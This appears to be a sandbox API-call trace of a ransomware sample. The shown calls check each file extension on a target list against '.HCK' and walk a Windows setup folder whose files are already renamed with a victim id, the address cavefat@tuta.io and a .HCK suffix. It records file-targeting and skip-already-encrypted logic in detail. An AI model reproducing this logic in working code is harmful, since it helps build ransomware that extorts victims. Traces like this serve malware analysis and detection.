[0224.158] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".docm") returned 5 [0224.158] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0224.158] lstrlenW (lpString=".docx") returned 5 [0224.158] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0224.158] lstrlenW (lpString=".dot") returned 4 [0224.158] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dotm") returned 5 [0224.158] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0224.158] lstrlenW (lpString=".dotx") returned 5 [0224.158] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0224.158] lstrlenW (lpString=".dpx") returned 4 [0224.158] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0224.158] lstrlenW (lpString=".dqy") returned 4 [0224.158] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".dsn") returned 4 [0224.159] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".dt") returned 3 [0224.159] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0224.159] lstrlenW (lpString=".dtd") returned 4 [0224.159] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".dwg") returned 4 [0224.159] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".dwt") returned 4 [0224.159] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".dx") returned 3 [0224.159] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0224.159] lstrlenW (lpString=".dxf") returned 4 [0224.159] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".edml") returned 5 [0224.159] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0224.159] lstrlenW (lpString=".efd") returned 4 [0224.159] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".elf") returned 4 [0224.159] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".emf") returned 4 [0224.159] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".emz") returned 4 [0224.159] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".epf") returned 4 [0224.159] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".eps") returned 4 [0224.159] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".epsf") returned 5 [0224.159] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0224.159] lstrlenW (lpString=".epsp") returned 5 [0224.159] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0224.159] lstrlenW (lpString=".erf") returned 4 [0224.159] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".exr") returned 4 [0224.159] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".f4v") returned 4 [0224.159] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".fido") returned 5 [0224.159] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0224.159] lstrlenW (lpString=".flm") returned 4 [0224.159] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".flv") returned 4 [0224.159] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".frm") returned 4 [0224.159] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0224.159] lstrlenW (lpString=".fxg") returned 4 [0224.160] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0224.160] lstrlenW (lpString=".geo") returned 4 [0224.160] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0224.160] lstrlenW (lpString=".gif") returned 4 [0224.160] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0224.160] lstrlenW (lpString=".grs") returned 4 [0224.160] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0224.160] lstrlenW (lpString=".gz") returned 3 [0224.160] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0224.160] lstrlenW (lpString=".h") returned 2 [0224.160] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0224.160] lstrlenW (lpString=".hdr") returned 4 [0224.160] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".hpp") returned 4 [0224.160] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".hta") returned 4 [0224.160] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".htc") returned 4 [0224.160] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".htm") returned 4 [0224.160] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".html") returned 5 [0224.160] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0224.160] lstrlenW (lpString=".icb") returned 4 [0224.160] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".ics") returned 4 [0224.160] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".iff") returned 4 [0224.160] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".inc") returned 4 [0224.160] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".indd") returned 5 [0224.160] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0224.160] lstrlenW (lpString=".ini") returned 4 [0224.160] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".iqy") returned 4 [0224.160] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".j2c") returned 4 [0224.160] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".j2k") returned 4 [0224.160] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".java") returned 5 [0224.160] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0224.160] lstrlenW (lpString=".jp2") returned 4 [0224.160] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".jpc") returned 4 [0224.160] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".jpe") returned 4 [0224.160] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".jpeg") returned 5 [0224.160] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0224.160] lstrlenW (lpString=".jpf") returned 4 [0224.160] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0224.160] lstrlenW (lpString=".jpg") returned 4 [0224.160] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".jpx") returned 4 [0224.161] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".js") returned 3 [0224.161] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0224.161] lstrlenW (lpString=".jsf") returned 4 [0224.161] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".json") returned 5 [0224.161] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0224.161] lstrlenW (lpString=".jsp") returned 4 [0224.161] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".kdc") returned 4 [0224.161] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".kmz") returned 4 [0224.161] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".kwm") returned 4 [0224.161] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".lasso") returned 6 [0224.161] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0224.161] lstrlenW (lpString=".lbi") returned 4 [0224.161] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".lgf") returned 4 [0224.161] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".lgp") returned 4 [0224.161] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".log") returned 4 [0224.161] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".m1v") returned 4 [0224.161] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".m4a") returned 4 [0224.161] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".m4v") returned 4 [0224.161] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".max") returned 4 [0224.161] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".md") returned 3 [0224.161] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0224.161] lstrlenW (lpString=".mda") returned 4 [0224.161] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mdb") returned 4 [0224.161] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mde") returned 4 [0224.161] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mdf") returned 4 [0224.161] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mdw") returned 4 [0224.161] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mef") returned 4 [0224.161] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mft") returned 4 [0224.161] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mfw") returned 4 [0224.161] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mht") returned 4 [0224.161] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0224.161] lstrlenW (lpString=".mhtml") returned 6 [0224.162] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0224.162] lstrlenW (lpString=".mka") returned 4 [0224.162] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mkidx") returned 6 [0224.162] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0224.162] lstrlenW (lpString=".mkv") returned 4 [0224.162] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mos") returned 4 [0224.162] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mov") returned 4 [0224.162] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mp3") returned 4 [0224.162] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mp4") returned 4 [0224.162] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mpeg") returned 5 [0224.162] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0224.162] lstrlenW (lpString=".mpg") returned 4 [0224.162] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mpv") returned 4 [0224.162] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mrw") returned 4 [0224.162] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".msg") returned 4 [0224.162] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".mxl") returned 4 [0224.162] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".myd") returned 4 [0224.162] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".myi") returned 4 [0224.162] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".nef") returned 4 [0224.162] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".nrw") returned 4 [0224.162] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".obj") returned 4 [0224.162] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".odb") returned 4 [0224.162] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".odc") returned 4 [0224.162] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".odm") returned 4 [0224.162] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".odp") returned 4 [0224.162] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".ods") returned 4 [0224.162] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".oft") returned 4 [0224.162] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".one") returned 4 [0224.162] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0224.162] lstrlenW (lpString=".onepkg") returned 7 [0224.162] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0224.162] lstrlenW (lpString=".onetoc2") returned 8 [0224.162] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0224.162] lstrlenW (lpString=".opt") returned 4 [0224.163] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".oqy") returned 4 [0224.163] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".orf") returned 4 [0224.163] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".p12") returned 4 [0224.163] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".p7b") returned 4 [0224.163] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".p7c") returned 4 [0224.163] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pam") returned 4 [0224.163] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pbm") returned 4 [0224.163] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pct") returned 4 [0224.163] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pcx") returned 4 [0224.163] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pdd") returned 4 [0224.163] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pdf") returned 4 [0224.163] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pdp") returned 4 [0224.163] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pef") returned 4 [0224.163] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pem") returned 4 [0224.163] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pff") returned 4 [0224.163] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pfm") returned 4 [0224.163] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pfx") returned 4 [0224.163] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pgm") returned 4 [0224.163] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".php") returned 4 [0224.163] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".php3") returned 5 [0224.163] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0224.163] lstrlenW (lpString=".php4") returned 5 [0224.163] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0224.163] lstrlenW (lpString=".php5") returned 5 [0224.163] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0224.163] lstrlenW (lpString=".phtml") returned 6 [0224.163] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0224.163] lstrlenW (lpString=".pict") returned 5 [0224.163] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0224.163] lstrlenW (lpString=".pl") returned 3 [0224.163] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0224.163] lstrlenW (lpString=".pls") returned 4 [0224.163] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0224.163] lstrlenW (lpString=".pm") returned 3 [0224.163] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0224.164] lstrlenW (lpString=".png") returned 4 [0224.164] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".pnm") returned 4 [0224.164] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".pot") returned 4 [0224.164] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".potm") returned 5 [0224.164] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0224.164] lstrlenW (lpString=".potx") returned 5 [0224.164] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0224.164] lstrlenW (lpString=".ppa") returned 4 [0224.164] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".ppam") returned 5 [0224.164] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0224.164] lstrlenW (lpString=".ppm") returned 4 [0224.164] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".pps") returned 4 [0224.164] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".ppsm") returned 5 [0224.164] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0224.164] lstrlenW (lpString=".ppt") returned 4 [0224.164] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".pptm") returned 5 [0224.164] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0224.164] lstrlenW (lpString=".pptx") returned 5 [0224.164] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0224.164] lstrlenW (lpString=".prn") returned 4 [0224.164] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".ps") returned 3 [0224.164] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0224.164] lstrlenW (lpString=".psb") returned 4 [0224.164] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".psd") returned 4 [0224.164] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".pst") returned 4 [0224.164] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".ptx") returned 4 [0224.164] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".pub") returned 4 [0224.164] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0224.164] lstrlenW (lpString=".pwm") returned 4 [0224.164] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0224.164] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a49fc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a49fc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a70254, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="OOBE_2~1.HCK")) returned 1 [0224.164] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b08b0d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b08b0d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b4c933, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARTNE~1.HCK")) returned 1 [0224.164] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b08b0d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b08b0d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b4c933, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARTNE~1.HCK")) returned 0 [0224.164] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.165] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0224.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.165] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573168 [0224.166] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2bd5999, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2bd5999, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2c6e88e, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="GETCUR~2.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a23ca4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a23ca4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a23ca4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="GETCUR~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2dc7669, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARTNE~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2c943ed, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PREOOB~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e1209d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e1209d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPC~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e1209d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e1209d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPC~1.HCK")) returned 0 [0224.166] FindClose (in: hFindFile=0x573168 | out: hFindFile=0x573168) returned 1 